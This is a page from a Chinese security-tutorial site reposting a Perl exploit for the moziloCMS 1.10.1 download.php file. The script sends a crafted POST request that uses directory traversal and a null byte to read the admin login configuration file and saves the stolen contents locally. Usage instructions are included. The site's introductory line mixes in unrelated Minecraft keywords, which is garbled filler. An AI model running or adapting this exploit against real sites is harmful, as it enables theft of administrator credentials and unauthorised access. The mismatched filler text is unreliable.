• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit

moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit ,其中包含我的世界1.10.1,我的世界1.10.1下载,我的世界1.10.1合成表,我的世界1.10.1mod,我的世界1.10.1整合包等知识点,遇到此问题的同学们可以参考下
#!/usr/bin/perl
#
# moziloCMS 1.10.1 Perl exploit
#
# discovered & written by Ams
# ax330d [doggy] gmail [dot] com
#
# DESCRIPTION:
# Vulnerability hides in "download.php", which we can use to download any file we want to.
# Here, for example, "admin/conf/logindata.conf". (Btw, not very smart solution to keep it open
# not looking on that it is protected by .htaccess)
# Script does not filters global params, it only checks whether local file exists...
# (By the way, all downloads are logged to "/conf/downloads.conf")
#
# USAGE:
# Run exploit :perl expl.pl http://www.site.com
#
# NEEDED:
# magic_quotes_gpc = off
#

use strict;
use IO::Socket;

print "\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\n\t\t moziloCMS 1.10.1 exploit (by Ams)
\n\t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

if(@ARGV<1){
die "\n\tUsage:\texpl.pl [host]\n\n
\n\tExample:\texpl.pl http://localhost/blog/\n\n";
}

my $expl_url = $ARGV[0];

print "\n\t[~] Starting exploit...\n";

if($expl_url =~ m#http://#) {
exploit($expl_url);
} else {
exploit('http://'.$expl_url);
}

sub exploit {

# Defining vars.
my $site = pop @_;
my ($a, $b, $c, @d) = split /\//,$site;
my $path = join('/',@d);
my $host = $c;
if($path) {$path = '/'.$path;}
my ($length, $packet, $downloaded, $injection);

# Revealing /data/sess.php.
print "\n\t[~] Sending request to 'downloads.php'...\n";
$injection = "file=hola&cat=../admin/conf/logindata.conf\0";
$length = length($injection);
$packet = "POST $path/download.php HTTP/1.1\r\n";
$packet .= "Host: $host\r\n";
$packet .= "Connection: Close\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Content-Length: $length\r\n\r\n";
$packet .= "$injection";
$downloaded = send_surprise($host, $packet, 1);

if($downloaded =~ /hackin/) {
print "\n\t[-] Exploiting failed...\n";
} elsif ($downloaded =~ /200 OK/) {
# Parsing and saving received data.
$downloaded =~ /\r\n\r\n/ ;
$downloaded = $';

open(DOWNL, ">hola.txt");
print DOWNL $downloaded;
close(DOWNL);
print "\n\t[ ] Looks like ok! Check hola.txt\n";
} else {
print "\n\t[-] Exploiting failed...\n";
}
}

sub send_surprise() {

my $dat = 1;
my ($host, $packet, $ret) = @_;
my $socket=IO::Socket::INET->new(
Proto=>"tcp",
PeerAddr=>$host,
PeerPort=>"80"
);
if( ! $socket) {
return 0;
} else {

print $socket $packet;
if($ret) {
my $rcv;
while($rcv = <$socket>) {
$dat .= $rcv;
}
}
close ($socket);
return $dat;
}
}

</div>

您可能想查找下面的文章:

  • moziloCMS 1.10.1 (download.php) Arbitrary Download File Exploit

相关文章

  • AuraCMS
  • BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (c)
  • Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit
  • Yourownbux 4.0 (COOKIE) Authentication Bypass Exploit
  • IntelliTamper 2.07 (map file) Local Arbitrary Code Execution Exploit (pl)
  • ESET Smart Security 3.0.667.0 Privilege Escalation PoC
  • DESlock
  • EO Video 1.36 Local Heap Overflow DOS / PoC
  • Maian Search
  • Sports Clubs Web Panel 0.0.1 Remote Game Delete Exploit

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • iGaming CMS
    • HRS Multi (picture_pic_bv.asp key) Blind SQL Injection Exploit
    • IntelliTamper 2.07 HTTP Header Remote Code Execution Exploit
    • Belkin wireless G router ADSL2 modem Auth Bypass Exploit
    • Microsoft Excel Malformed Palette Record DoS PoC (MS07-002)
    • Cisco IOS 12.3(18) FTP Server Remote Exploit (attached to gdb)
    • Trend Micro OfficeScan ObjRemoveCtrl ActiveX Control BOF Exploit
    • WFTPD Pro Server
    • MojoAuto (mojoAuto.cgi mojo) Blind SQL Injection Exploit
    • Maxthon Browser 2.1.4.443 UNICODE Remote Denial of Service PoC

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有